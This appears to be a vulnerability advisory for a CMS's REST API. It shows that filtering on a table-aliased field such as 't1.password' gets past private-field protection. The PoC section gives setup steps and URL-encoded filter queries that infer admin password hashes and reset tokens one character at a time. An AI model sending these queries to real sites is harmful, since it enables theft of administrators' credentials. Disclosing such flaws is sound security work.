Summary

Still able to leak private fields if using the t(number) prefix

Details

Knex query allows you to change there default prefix
SqliteError: select distinct `t0`.* from `pages` as `t0` left join `admin_users` as `t1` on `t0`.`updated_by_id` = `t1`.`id` where (`t1`.`password` = 1)
so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected

PoC

1 Create a contentType
2 add to its options "populateCreatorFields"
3 create 1 entity in your new content type
4 in settings enable the find route in settings for the content type you created for public
5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24
And now the api returns noting if you were to do
/api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact

You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.